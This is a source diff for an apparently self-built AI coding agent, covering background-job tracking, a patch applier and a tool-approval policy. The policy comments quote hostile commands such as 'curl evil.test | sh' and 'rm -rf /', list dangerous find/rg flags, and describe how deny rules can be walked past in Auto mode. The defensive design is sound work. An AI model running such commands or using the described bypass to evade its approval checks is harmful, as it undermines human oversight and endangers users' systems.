+    _JOBS[job_id] = job
+    return job
+
+
+async def read(agent, job_id: str) -> Reading:
+    output, _ = _clean(
+        await agent.executor().run(
+            ExecRequest(
+                command=read_command(agent.chat_id, job_id, agent.max_output),
+                timeout=agent.timeout,
+                max_bytes=agent.max_output,
+            )
+        ),
+        agent.max_output,
+    )
+    reading = parse_reading(output, job_id)
+    _record(job_id, reading.status, reading.exit_status)
+    if reading.status in ("done", "lost"):
+        await _cleanup(agent, job_id)
+    return reading
+
+
+async def stop(agent, job_id: str) -> None:
+    await agent.executor().run(
+        ExecRequest(command=stop_command(agent.chat_id, job_id), timeout=agent.timeout)
+    )
+    _record(job_id, "killed", 143)
+
+
+async def _cleanup(agent, job_id: str) -> None:
+    with contextlib.suppress(ExecError):
+        await agent.executor().run(
+            ExecRequest(command=cleanup_command(agent.chat_id, job_id), timeout=agent.timeout)
+        )
+
+
+def _clean(result, limit: int) -> tuple[str, bool]:
+    if result.timed_out:
+        return result.output, False
+    return clean_output(result.output or "", limit=limit)
+
+
+# --- The registry --------------------------------------------------------------
+def register(job: JobState) -> None:
+    _JOBS[job.id] = job
+
+
+def get(job_id: str) -> JobState | None:
+    return _JOBS.get(job_id)
+
+
+def for_chat(chat_id: str) -> list[JobState]:
+    return [j for j in _JOBS.values() if j.chat_id == chat_id]
+
+
+def valid_id(job_id: str) -> bool:
+    return bool(_ID.match(job_id or ""))
+
+
+@dataclass(frozen=True)
+class JobView:
+    """One job as a person sees it, rather than as the watcher tracks it.
+
+    Two sources, because neither is complete on its own. The `agent_jobs` row is
+    what survives a restart and carries wall-clock times; `JobState` is what this
+    process knows now, and it exists for a job whose row could not be written --
+    `_persist_row` is best-effort by design, so a job with no row is still a job
+    that is running.
+
+    Times are wall clock, from the row. `JobState.started_at` is
+    `time.monotonic()`, which is right for measuring an interval inside one
+    process and meaningless across a restart: `rehydrate` builds a fresh
+    `JobState` whose clock starts at nought, so a job that had been running for
+    three hours would report having started a moment ago.
+    """
+
+    id: str
+    command: str
+    status: str
+    exit_status: int | None = None
+    started_at: Any = None
+    finished_at: Any = None
+
+    @property
+    def running(self) -> bool:
+        return self.status == "running"
+
+    @property
+    def tone(self) -> str:
+        """What colour this job is, which is not the question `status` answers.
+
+        `done` is two outcomes. The row beside the dot already tells them apart
+        in words -- "Finished" against "Failed, exit 2" -- so a dot keyed on the
+        status would be green next to a sentence saying the opposite.
+
+        The *wording* stays in the template's if-chain rather than moving here
+        beside the colour. Authored text belongs in the file somebody reads to
+        change it, and saving one branch is not worth taking five phrases out of
+        it; this is the half that cannot be said in a class name.
+        """
+        if self.running:
+            return "running"
+        if self.status != "done":
+            return self.status  # killed, lost
+        return "ok" if not self.exit_status else "failed"
+
+    @property
+    def duration(self) -> str:
+        """How long it took, once it is over. Empty while it is still running.
+
+        Empty on purpose rather than for want of an answer. This panel is
+        fetched when somebody opens it and is never polled -- the chip beside
+        the composer is what refreshes on a timer -- so a live "running for
+        2m 05s" would be stale the instant it painted and stay stale until the
+        reader pressed something. The chip says something is still going; this
+        says how long the finished ones took, which is true forever.
+
+        Both stamps are normalised before subtracting, for the reason
+        `compaction.moment` normalises: SQLite stores no offset, so a row read
+        back from disk is naive while one still in the session's identity map
+        keeps its tzinfo, and subtracting one from the other raises. `moment`
+        itself is not reused because it takes a `Message`, not a stamp.
+        """
+        if self.running or self.started_at is None or self.finished_at is None:
+            return ""
+        seconds = (_aware(self.finished_at) - _aware(self.started_at)).total_seconds()
+        return _short_duration(seconds) if seconds >= 0 else ""
+
+
+def _aware(stamp: datetime) -> datetime:
+    """A stamp that can be subtracted from another. See `JobView.duration`."""
+    return stamp if stamp.tzinfo is not None else stamp.replace(tzinfo=UTC)
+
+
+def _short_duration(seconds: float) -> str:
+    """A wall-clock span, at the precision somebody reading a log cares about.
+
+    Deliberately not `steps._short_duration`. That one takes milliseconds, tops
+    out at minutes and is tuned to a label repainting beside an animating word;
+    a three-hour build through it reads `184m 12s`. This one is written for a
+    span that can be hours and is only ever rendered once it is final.
+    """
+    total = int(seconds)
+    if total < 60:
+        return f"{total}s"
+    if total < 3600:
+        return f"{total // 60}m {total % 60:02d}s"
+    return f"{total // 3600}h {(total % 3600) // 60:02d}m"
+
+
+def listing(db, chat_id: str) -> list[JobView]:
+    """Every job this chat has, newest first.
+
+    Live state wins over the stored row where they disagree. They should not --
+    `_record` writes the row as it updates the state -- but the row write is the
+    half allowed to fail, so preferring the fresher of the two is what keeps a
+    finished job from being shown as running for ever.
+    """
+    from lembas.db.models import Job
+
+    live = {job.id: job for job in for_chat(chat_id)}
+    views: list[JobView] = []
+    seen: set[str] = set()
+
+    rows = db.scalars(
+        select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc())
+    )
+    for row in rows:
+        state = live.get(row.id)
+        seen.add(row.id)
+        views.append(
+            JobView(
+                id=row.id,
+                command=row.command or "",
+                status=state.status if state is not None else row.status,
+                exit_status=state.exit_status if state is not None else row.exit_status,
+                started_at=row.created_at,
+                finished_at=row.finished_at,
+            )
+        )
+
+    # A job whose row never got written. It has no start time to show, which is
+    # honest: nothing recorded one.
+    for job in live.values():
+        if job.id not in seen:
+            views.insert(
+                0,
+                JobView(
+                    id=job.id,
+                    command=job.command,
+                    status=job.status,
+                    exit_status=job.exit_status,
+                ),
+            )
+    return views
+
+
+def running_count(db, chat_id: str) -> int:
+    return sum(1 for view in listing(db, chat_id) if view.running)
+
+
+def _record(job_id: str, status: str, exit_status: int | None) -> None:
+    job = _JOBS.get(job_id)
+    if job is None or job.status != "running":
+        return
+    if status in ("done", "lost", "killed"):
+        job.status = status
+        job.exit_status = exit_status
+        job.finished_at = time.monotonic()
+        _persist_row(job)
+
+
+def clear() -> None:
+    _JOBS.clear()
+
+
+# --- Durable record ------------------------------------------------------------
+# Best-effort throughout: a job whose row cannot be written (a test with no real
+# chat, a transient database hiccup) still runs and is still tracked in-process;
+# it just will not survive a restart, which is the row's only purpose.
+def _persist_row(job: JobState) -> None:
+    from lembas.db.models import Job
+    from lembas.db.session import session_scope
+
+    try:
+        with session_scope() as db:
+            row = db.get(Job, job.id)
+            if row is None:
+                row = Job(id=job.id, chat_id=job.chat_id)
+                db.add(row)
+            row.command = job.command[:4000]
+            row.status = job.status
+            row.exit_status = job.exit_status
+            row.finished_at = None if job.status == "running" else datetime.now(UTC)
+    except Exception:  # noqa: BLE001 - the row is a convenience, not the job
+        log.debug("could not persist job %s", job.id, exc_info=True)
+
+
+# --- The watcher ---------------------------------------------------------------
+def _poll_interval(elapsed: float) -> float:
+    if elapsed < 30:
+        return 3.0
+    if elapsed < 300:
+        return 10.0
+    return 25.0
+
+
+def start_watch(agent, job: JobState) -> None:
+    """Poll a job to completion and, when it finishes, wake the model.
+
+    Only when notify is on -- the watcher's whole job is the wake and the status
+    update, and without notify the model reads `job_output` itself, which
+    updates the status anyway. Capped by `background_max_jobs`: past it a job
+    still runs and can be read, it simply is not watched.
+
+    The credential is copied, not referenced: `generation` clears the agent's
+    `spec` when the reply ends, and the watcher outlives the reply. Holding the
+    copy for the job's life is the same trade the terminal makes for a held
+    shell.
+    """
+    _persist_row(job)
+    if not agent.background_notify or len(_WATCHERS) >= agent.background_max_jobs:
+        return
+    task = asyncio.create_task(
+        _watch(
+            dict(agent.spec),
+            agent.project_dir,
+            job.chat_id,
+            job.id,
+            job.command,
+            agent.max_output,
+        )
+    )
+    _WATCHERS[job.id] = task
+
+
+async def _watch(
+    spec: dict, project_dir: str, chat_id: str, job_id: str, command: str, max_output: int
+) -> None:
+    from lembas.services.agent.ssh import SshExecutor
+
+    started = time.monotonic()
+    try:
+        while True:
+            await asyncio.sleep(_poll_interval(time.monotonic() - started))
+            if time.monotonic() - started > MAX_WATCH_SECONDS:
+                _record(job_id, "lost", None)
+                return
+            try:
+                result = await SshExecutor(spec, project_dir).run(
+                    ExecRequest(
+                        command=read_command(chat_id, job_id, max_output),
+                        timeout=30,
+                        max_bytes=max_output,
+                    )
+                )
+            except ExecError:
+                continue  # transient -- the host is briefly unreachable; retry
+            if result.timed_out:
+                continue
+            output, _ = clean_output(result.output or "", limit=max_output)
+            reading = parse_reading(output, job_id)
+            if reading.status in ("done", "lost"):
+                _record(job_id, reading.status, reading.exit_status)
+                with contextlib.suppress(ExecError):
+                    await SshExecutor(spec, project_dir).run(
+                        ExecRequest(command=cleanup_command(chat_id, job_id), timeout=30)
+                    )
+                await wake(chat_id, job_id, command, reading.status, reading.exit_status,
+                           reading.body)
+                return
+    except asyncio.CancelledError:
+        raise
+    except Exception:  # noqa: BLE001 - a watcher that dies must not take others
+        log.exception("job watcher for %s raised", job_id)
+    finally:
+        _WATCHERS.pop(job_id, None)
+
+
+# --- Waking the model ----------------------------------------------------------
+def _completion_text(
+    job_id: str, command: str, status: str, exit_status: int | None, output: str
+) -> str:
+    if status == "done" and exit_status == 0:
+        line = "It finished successfully."
+    elif status == "done":
+        line = f"It exited {exit_status}."
+    else:
+        line = "It stopped without an exit status (it may have been killed)."
+    body = (output or "").strip()[:MAX_COMPLETION_CHARS]
+    # A fence for the model's benefit; backticks in the output are neutralised so
+    # they cannot close it, the same move `instructions.clean` makes.
+    fenced = f"\n\n```\n{body.replace('```', chr(39) * 3)}\n```" if body else ""
+    return (
+        f"A background job you started has finished — this is a machine event, "
+        f"not the person speaking.\n\n"
+        f"[job {job_id}] `{command}`\n{line}{fenced}"
+    )
+
+
+async def wake(
+    chat_id: str, job_id: str, command: str, status: str, exit_status: int | None, output: str
+) -> None:
+    """Tell the model a job finished, as a new turn.
+
+    Reuses the queue: if a reply is being written, the completion is left
+    `queued` for that reply's `_inject`/`_drain` to deliver; if the chat is idle,
+    a fresh reply is started to answer it, the `send_queued_now` move.
+
+    The lock discipline that makes that safe lives in `services/wake.py`, which
+    is the one copy of it -- schedules need the identical rule, and two lock
+    dictionaries for one invariant is how one of them drifts. What stays here is
+    the *wording*, because `tool.background` quotes `_completion_text`'s opening
+    sentence to the model and rewording it would break that instruction with
+    nothing anywhere to notice.
+    """
+    from lembas.services import wake as wake_service
+
+    await wake_service.wake_chat(
+        chat_id, _completion_text(job_id, command, status, exit_status, output)
+    )
+
+
+# --- Rehydration and shutdown --------------------------------------------------
+def rehydrate() -> None:
+    """After a restart, watch again the jobs that were still running.
+
+    Their remote files are keyed deterministically on chat and id, so a fresh
+    watcher re-polls them and wakes the model as if nothing happened -- which is
+    the whole reason the row exists. Best-effort per job: a host that is down, a
+    profile that is gone, a chat that was deleted each just drop that one.
+    """
+    from lembas.db.models import Chat, SshProfile
+    from lembas.db.session import session_scope
+    from lembas.services import settings_store
+    from lembas.services.agent import ssh as ssh_service
+
+    with session_scope() as db:
+        values = settings_store.agents(db)
+        if not values.get("enabled") or not values.get("background_notify"):
+            return
+        max_output = int(values.get("max_output_bytes") or 64 * 1024)
+        running = list(db.scalars(_running_rows()))
+        for row in running:
+            chat = db.get(Chat, row.chat_id)
+            if chat is None or not chat.ssh_profile_id:
+                continue
+            profile = db.get(SshProfile, chat.ssh_profile_id)
+            if profile is None or not profile.enabled:
+                continue
+            spec = ssh_service.spec_from(profile)
+            project_dir = chat.project_dir or profile.default_dir or ""
+            job = JobState(id=row.id, chat_id=row.chat_id, command=row.command)
+            _JOBS[job.id] = job
+            if len(_WATCHERS) >= int(values.get("background_max_jobs") or 5):
+                break
+            _WATCHERS[job.id] = asyncio.create_task(
+                _watch(spec, project_dir, row.chat_id, row.id, row.command, max_output)
+            )
+
+
+def _running_rows():
+    from sqlalchemy import select
+
+    from lembas.db.models import Job
+
+    return select(Job).where(Job.status == "running")
+
+
+async def shutdown() -> None:
+    """Cancel every watcher. The detached remote jobs are unaffected -- they run
+    on, and a later start rehydrates them from their rows."""
+    tasks = list(_WATCHERS.values())
+    _WATCHERS.clear()
+    for task in tasks:
+        task.cancel()
+    for task in tasks:
+        with contextlib.suppress(asyncio.CancelledError, Exception):
+            await task
+
+
+__all__ = [
+    "JOB_ROOT",
+    "Completed",
+    "JobState",
+    "Reading",
+    "clear",
+    "for_chat",
+    "get",
+    "launch",
+    "launch_and_wait_command",
+    "new_id",
+    "parse_completed",
+    "read",
+    "register",
+    "stop",
+    "valid_id",
+]

src/lembas/services/agent/patch.py

@@ -0,0 +1,313 @@
+"""Applying a unified diff, and rendering one.
+
+`difflib` produces a unified diff and cannot apply one, so `render` uses it and
+`apply` is written here. No new dependency: hard rule 1 is about the browser,
+but a patch applier is fifty lines and pulling a package in for it would be
+worse than the fifty lines.
+
+Four behaviours carry the whole module, and each of them exists because of how
+models actually write patches rather than how the format is specified.
+
+**Fuzzy offset, exact content.** A hunk's `@@ -41,7 +41,8 @@` is a hint and
+nothing more. Models get line numbers wrong constantly -- they count from a
+truncated read, or from the file as it was three edits ago -- and get the
+context lines right. So the hinted position is tried first and then the file is
+scanned outward for an exact match of the context block. One match wins; more
+than one refuses, because guessing which of two identical blocks was meant is
+the one failure that silently corrupts a file.
+
+**Line endings are normalised in and restored out.** A CRLF file otherwise
+fails on every single hunk, on context that looks identical in the error
+message, which is unfixable from the model's side.
+
+**A blank context line may have lost its leading space.** Trailing whitespace
+is stripped by half the things a model's output passes through, so `""` is read
+as a blank context line rather than as a malformed one.
+
+**Nothing is written unless every hunk applies.** The new text is built whole in
+memory and handed back; a half-applied file is worse than a refused one, and the
+model cannot tell the difference without reading it again.
+"""
+
+from __future__ import annotations
+
+import difflib
+import re
+from dataclasses import dataclass
+
+# A patch bigger than this is a rewrite wearing a diff's clothes, and
+# `file_write` is the tool for that.
+MAX_HUNKS = 60
+
+# How far either side of the hinted line to look for the context block. Wide
+# enough for a file that has grown a few hundred lines since the model read it,
+# narrow enough that an accidental match is unlikely.
+MAX_DRIFT = 200
+
+_HEADER = re.compile(r"^@@\s*-(\d+)(?:,(\d+))?\s+\+(\d+)(?:,(\d+))?\s*@@")
+_NO_NEWLINE = "\\ No newline at end of file"
+
+
+class PatchError(Exception):
+    """A patch that did not apply, said precisely enough to retry from."""
+
+    def __init__(self, message: str, *, hunk: int = 0) -> None:
+        super().__init__(message)
+        self.message = message
+        self.hunk = hunk
+
+
+@dataclass(frozen=True)
+class Hunk:
+    old_start: int
+    old_count: int
+    new_start: int
+    new_count: int
+    # Each line still carrying its ' ', '+' or '-'.
+    lines: tuple[str, ...]
+    # A `\ No newline at end of file` marker followed a line this hunk *adds*,
+    # so the result is meant to end without one. Honoured only when the hunk
+    # actually reaches the end of the file -- git emits the marker for the old
+    # side too, and reading that as an instruction would strip a newline the
+    # patch never touched.
+    ends_without_newline: bool = False
+
+    @property
+    def before(self) -> tuple[str, ...]:
+        """The lines this hunk expects to find, without their markers."""
+        return tuple(line[1:] for line in self.lines if line[:1] in (" ", "-"))
+
+    @property
+    def after(self) -> tuple[str, ...]:
+        return tuple(line[1:] for line in self.lines if line[:1] in (" ", "+"))
+
+
+def parse(patch: str) -> list[Hunk]:
+    """Read a unified diff into hunks.
+
+    File headers are tolerated and ignored -- `diff --git`, `index`, `---`,
+    `+++` -- because models emit them by habit and refusing would cost a round
+    trip to say so. The `@@` header is required: without one there is nothing to
+    anchor against, and the resulting error is at least mechanical to fix.
+    """
+    hunks: list[Hunk] = []
+    state: dict = {"header": None, "body": [], "bare": False}
+
+    def flush() -> None:
+        if state["header"] is None:
+            return
+        hunks.append(
+            Hunk(
+                *state["header"],
+                lines=tuple(state["body"]),
+                ends_without_newline=state["bare"],
+            )
+        )
+        state["header"] = None
+        state["body"] = []
+        state["bare"] = False
+
+    body = (patch or "").replace("\r\n", "\n").replace("\r", "\n").split("\n")
+    # The patch's own final newline, not a blank context line. Without this every
+    # well-formed patch acquires one phantom line of context at the end and
+    # matches nothing -- which looks exactly like the model getting it wrong.
+    if body and body[-1] == "":
+        body.pop()
+
+    for raw in body:
+        matched = _HEADER.match(raw)
+        if matched:
+            flush()
+            state["header"] = (
+                int(matched.group(1)),
+                int(matched.group(2) or 1),
+                int(matched.group(3)),
+                int(matched.group(4) or 1),
+            )
+            continue
+
+        if state["header"] is None:
+            # Preamble. Anything before the first @@ is a file header we do not
+            # need: the path is a parameter, not something read out of the diff.
+            continue
+
+        if raw.startswith(_NO_NEWLINE):
+            # It describes whichever side the line above belonged to. Only the
+            # new side is an instruction; the old side is a description of the
+            # file we are about to read for ourselves.
+            if state["body"] and state["body"][-1][:1] in ("+", " "):
+                state["bare"] = True
+            continue
+        if raw[:1] in ("+", "-", " "):
+            state["body"].append(raw)
+        elif raw == "":
+            # A blank line that lost its leading space. Common enough to be the
+            # normal case rather than an exceptional one.
+            state["body"].append(" ")
+        else:
+            # A stray line inside a hunk -- a second `diff --git`, a signature.
+            # Ends the hunk rather than corrupting it.
+            flush()
+
+    flush()
+
+    if not hunks:
+        raise PatchError(
+            "That patch has no hunks. A patch needs at least one "
+            "`@@ -old,count +new,count @@` header, followed by the lines to "
+            "change: ' ' for context, '-' to remove, '+' to add."
+        )
+    if len(hunks) > MAX_HUNKS:
+        raise PatchError(
+            f"That patch has {len(hunks)} hunks, and {MAX_HUNKS} is the most "
+            f"that will be applied at once. Rewrite the file with file_write "
+            f"instead, or send the change in pieces."
+        )
+    return hunks
+
+
+def _find(lines: list[str], wanted: tuple[str, ...], hint: int, floor: int) -> int:
+    """Where `wanted` sits in `lines`, at or after `floor`. Raises if unclear."""
+    if not wanted:
+        # A pure insertion has no context to match. The hint is all there is.
+        return max(floor, min(hint, len(lines)))
+
+    span = len(wanted)
+    if hint >= floor and lines[hint : hint + span] == list(wanted):
+        return hint
+
+    matches = [
+        at
+        for at in range(max(floor, hint - MAX_DRIFT), min(len(lines) - span, hint + MAX_DRIFT) + 1)
+        if lines[at : at + span] == list(wanted)
+    ]
+    if len(matches) == 1:
+        return matches[0]
+    if len(matches) > 1:
+        raise PatchError(
+            f"Those context lines appear {len(matches)} times in the file, and "
+            f"the line numbers in the hunk header do not point at any of them, "
+            f"so there is no way to tell which was meant. Include more "
+            f"unchanged lines around the change."
+        )
+    raise PatchError("")  # Filled in by the caller, which knows the hunk number.
+
+
+def apply(text: str, hunks: list[Hunk]) -> str:
+    """The file with every hunk applied, or a PatchError naming the first that
+    would not.
+
+    Hunks are applied in order against a cursor, so one cannot match inside
+    territory an earlier one already consumed -- which is what a duplicated or
+    overlapping hunk would otherwise do, applying the same change twice.
+    """
+    crlf = "\r\n" in text
+    lines = text.replace("\r\n", "\n").replace("\r", "\n").split("\n")
+    trailing = lines and lines[-1] == ""
+    if trailing:
+        lines.pop()
+
+    out: list[str] = []
+    cursor = 0
+    reached_end = False
+
+    for number, hunk in enumerate(hunks, start=1):
+        wanted = hunk.before
+        # A pure insertion names the line it goes *after*, not the line it
+        # replaces, so it is not off by one the way every other hunk is.
+        hint = hunk.old_start if hunk.old_count == 0 else max(hunk.old_start - 1, 0)
+        try:
+            at = _find(lines, wanted, hint, cursor)
+        except PatchError as exc:
+            raise _mismatch(number, hunk, lines, hint, exc.message) from None
+
+        out.extend(lines[cursor:at])
+        out.extend(hunk.after)
+        cursor = at + len(wanted)
+        reached_end = hunk.ends_without_newline and cursor >= len(lines)
+
+    out.extend(lines[cursor:])
+
+    result = "\n".join(out)
+    if trailing and not reached_end:
+        result += "\n"
+    return result.replace("\n", "\r\n") if crlf else result
+
+
+def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) -> PatchError:
+    """The message the model retries from, so it has to say what is actually
+    there rather than only that something is wrong."""
+    if why:
+        return PatchError(
+            f"Hunk {number} did not apply. {why} Nothing was written.", hunk=number
+        )
+
+    expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "")
+    return PatchError(
+        f"Hunk {number} did not apply. It expects line {hint + 1} to be\n"
+        f"      {expected}\n"
+        f"but the file has\n"
+        f"{_around(lines, hint)}\n"
+        f"and those lines are nowhere else nearby either. Nothing was written. "
+        f"Send a patch whose context matches what is printed above.",
+        hunk=number,
+    )
+
+
+# How many lines either side of the hinted position to print back. Three, which
+# is what a patch carries as context, so a model can read its next attempt
+# straight off the message.
+MISMATCH_WINDOW = 3
+
+
+def _around(lines: list[str], hint: int) -> str:
+    """The file as it actually is, around where the hunk expected to land.
+
+    One line was not enough. A model whose line numbers are two out reads "the
+    file has X", cannot see where X sits relative to what it wanted, and sends
+    the identical patch again -- which is most of the retry loop this tool
+    produces in practice. Numbered, because the numbers are what was wrong.
+    """
+    if not lines:
+        return "      (the file is empty)"
+    if hint >= len(lines):
+        start = max(0, len(lines) - MISMATCH_WINDOW)
+        shown = [f"  {n + 1:>5}  {lines[n]}" for n in range(start, len(lines))]
+        return "\n".join([*shown, f"      (the file ends at line {len(lines)})"])
+
+    start = max(0, hint - MISMATCH_WINDOW)
+    end = min(len(lines), hint + MISMATCH_WINDOW + 1)
+    return "\n".join(
+        f"{'->' if n == hint else '  '} {n + 1:>5}  {lines[n]}" for n in range(start, end)
+    )
+
+
+def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str:
+    """A unified diff of one change, for the transcript.
+
+    Bounded here rather than at render time: this ends up in
+    `Message.tool_calls_json`, which is on the row forever and re-parsed on
+    every page load, and a generated file's diff can be larger than the file.
+    """
+    # splitlines, not split("\n"): a file's own final newline would otherwise be
+    # an empty last element, which difflib renders as a stray context line at
+    # the bottom of every diff -- and as a spurious change whenever one side has
+    # it and the other does not. The trailing-newline difference is invisible
+    # here as a result, which is right for a display and irrelevant to the write.
+    lines = list(
+        difflib.unified_diff(
+            before.replace("\r\n", "\n").splitlines(),
+            after.replace("\r\n", "\n").splitlines(),
+            fromfile=f"a/{path}",
+            tofile=f"b/{path}",
+            lineterm="",
+            n=3,
+        )
+    )
+    if len(lines) > max_lines:
+        dropped = len(lines) - max_lines
+        lines = lines[:max_lines] + [f"… ({dropped} more lines)"]
+    return "\n".join(lines)
+
+
+__all__ = ["MAX_DRIFT", "MAX_HUNKS", "Hunk", "PatchError", "apply", "parse", "render"]

src/lembas/services/agent/policy.py

@@ -0,0 +1,286 @@
+"""What an agent chat is allowed to do without asking.
+
+Four modes, one table, indexed by what a tool does to the world. Adding a mode
+is a row; adding a risk class is a column. Anything that needs an `if mode ==`
+somewhere else in the codebase is a sign this table is wrong rather than that
+the table is insufficient.
+
+The important thing about all of it: **this is consulted in the generation loop,
+not written into the prompt.** A mode a model is merely told about is a mode a
+model can be talked out of, and everything a model reads -- a web page, a
+README, the output of a command it just ran -- is untrusted text that may be
+trying to do exactly that.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass
+from fnmatch import fnmatch
+
+from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
+
+MODE_MANUAL = "manual"
+MODE_EDIT = "edit"
+MODE_AUTO = "auto"
+MODE_PLAN = "plan"
+
+MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
+
+MODE_LABELS = {
+    MODE_MANUAL: "Manual",
+    MODE_EDIT: "Edit",
+    MODE_AUTO: "Auto",
+    MODE_PLAN: "Plan",
+}
+
+MODE_HINTS = {
+    MODE_MANUAL: "Everything is shown to you before it happens.",
+    MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
+    MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
+    MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
+}
+
+# What the *model* is told about the mode it is in. Different words from
+# MODE_HINTS, which describes it to a person: this is about how to behave, and
+# says the one thing that changes what a competent model does -- that being
+# stopped for approval is normal and worth batching for.
+MODE_GUIDANCE = {
+    MODE_MANUAL: (
+        "You are in **Manual** mode: everything you do is shown to them for "
+        "approval first. Expect to be interrupted, and say what you are about "
+        "to do before you do it."
+    ),
+    MODE_EDIT: (
+        "You are in **Edit** mode: you may read and write files freely, but "
+        "every command is shown to them for approval first. Prefer reading and "
+        "writing files over shelling out where both would work."
+    ),
+    MODE_AUTO: (
+        "You are in **Auto** mode: nothing is shown to them first. That is trust "
+        "rather than permission — be as careful as you would be if each step "
+        "were being watched, and stop to say so if you find yourself about to "
+        "do something you could not undo."
+    ),
+    MODE_PLAN: (
+        "You are in **Plan** mode: read and explore freely, but change nothing. "
+        "Research before you propose anything — read the files, run the "
+        "read-only commands, look at what is actually there rather than at what "
+        "is usually there. If the scope is genuinely ambiguous, and only then, "
+        "ask with ask_user before planning rather than planning for the wrong "
+        "thing; put everything you need into one question. Then finish with "
+        "plan_submit: what you found, what the work is for, and the work itself "
+        "as phases of concrete tasks. Anything that writes or runs will be "
+        "stopped for approval, so do not rely on it."
+    ),
+}
+
+ALLOW = "allow"
+ASK = "ask"
+
+# The whole feature. Read across a row to see what a mode means.
+POLICY: dict[str, dict[str, str]] = {
+    MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
+    MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
+    MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
+    MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
+}
+
+# A shell metacharacter makes a command line unmatchable, so no pattern may be
+# applied to it. Without this, `git *` in an allow list also matches
+# `git status; curl evil.test | sh`, which is the whole ballgame. That half is
+# absolute and is what this constant exists for.
+#
+# The deny list is the other half, and it has been decided both ways. There was
+# once a rule that an unmatchable line ASKed whenever a deny list existed at
+# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &`
+# ran. It is gone: the shipped deny list is non-empty, so that rule made *every*
+# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything
+# with a pipe -- and a mode whose whole purpose is not asking asked about most
+# real commands. It was not a security control anybody experienced as one; it
+# was Auto appearing not to work.
+#
+# So an unmatchable line now falls through to the mode, and in Auto the mode is
+# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a
+# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable,
+# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow
+# list is untouched by the change and still cannot be matched at all.
+#
+# The upgrade that would restore both properties is to split a composed line on
+# these metacharacters and check every segment against the deny list only. It is
+# confined to `decide` and is worth doing; it is not done here.
+_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
+
+# Flags that turn a "read-only" command into one that writes or executes, on
+# tools whose *name* is on somebody's allow list.
+#
+# `_UNSAFE` stops a command line being composed out of two commands. It does
+# nothing about a single command that composes one itself, and several of the
+# obvious read-only tools do: `find -exec cmd +` runs a program, `-fprintf`
+# writes a file, `-delete` removes one, and `rg --pre` runs a preprocessor for
+# every file it opens. None of those needs a character `_UNSAFE` refuses, so
+# `find *` on an allow list -- which is what a subagent gets, in every mode --
+# was arbitrary write and arbitrary execution wearing a read-only name.
+#
+# Refused here rather than trimmed from the allow list alone, because the list
+# is the thing an administrator edits and "this one looks read-only" is exactly
+# the reasoning that put `find *` there. A pattern cannot express "and no
+# dangerous flags"; this can.
+#
+# Matched on the *normalised* line and word-bounded, so `docs/-exec-notes.md`
+# is fine -- the flag has to stand alone as an argument.
+#
+# It does catch `grep -rn -- -delete src/`, where the word is a search term
+# rather than a flag, and that is the right direction to be wrong in: a false
+# refusal here means the call falls through to the policy table and asks, which
+# costs one approval card. A false allow means an unattended helper writing
+# files. Nothing is *blocked* by this -- a reader in Auto still gets it, and in
+# any other mode they are shown it first, which is what they would want to be
+# shown.
+_ACTION = re.compile(
+    r"(?:^|\s)-(?:exec|execdir|ok|okdir|fprintf|fprint|fprint0|delete)(?=\s|$)"
+    r"|(?:^|\s)--(?:pre|search-zip|hostname-bin)(?=[\s=]|$)"
+)
+
+
+@dataclass(frozen=True)
+class Decision:
+    verdict: str
+    reason: str = ""
+
+
+@dataclass(frozen=True)
+class Limits:
+    """What one agent reply may spend.
+
+    Four axes because they fail differently. Wall clock stops a single slow
+    command eating an afternoon; `output_bytes` stops a model filling its own
+    context with build logs and having no room left to answer; and
+    `completion_tokens` stops one that keeps writing.
+
+    `steps` is the odd one out. It is a **runaway backstop, not a working
+    budget** -- an agent reply is meant to run until the task is finished, and a
+    step count low enough to be the thing that ends it is a count that ends it
+    halfway. It was 40, which is a working budget, and it was reached. Anything
+    that wants a real ceiling should set `completion_tokens`, which measures
+    what a long reply actually costs.
+
+    `completion_tokens` of 0 means no ceiling, the same convention `index_chars`
+    uses in the settings store.
+    """
+
+    steps: int = 200
+    wall_seconds: float = 900.0
+    output_bytes: int = 1024 * 1024
+    completion_tokens: int = 200_000
+
+
+def subject(tool_name: str, command: str = "") -> str | None:
+    """What a pattern is matched against, or None when nothing may match it.
+
+    For everything but a command it is the tool name, so `file_read` in an
+    allow list means "reading files never asks". For `shell_run` it is the
+    command line, normalised -- unless it contains anything that composes two
+    commands into one, in which case no pattern is allowed to match at all.
+    """
+    if tool_name != "shell_run":
+        return tool_name
+    raw = command or ""
+    # Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
+    # first would turn "git status\nrm -rf /" into a single innocent-looking
+    # line and let it match `git *` -- a newline separates two commands exactly
+    # as a semicolon does.
+    if _UNSAFE.search(raw):
+        return None
+    line = " ".join(raw.split())
+    if _ACTION.search(line):
+        return None
+    return line or None
+
+
+def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
+    if candidate is None:
+        return ""
+    for pattern in patterns:
+        if fnmatch(candidate, pattern):
+            return pattern
+    return ""
+
+
+def decide(
+    *,
+    mode: str,
+    risk: str,
+    tool_name: str,
+    command: str = "",
+    allow: tuple[str, ...] = (),
+    deny: tuple[str, ...] = (),
+) -> Decision:
+    """What to do about one call.
+
+    The order is the design:
+
+    1. A deny wins before everything, **including Auto**. A deny list that Auto
+       ignores is not a deny list, it is a suggestion.
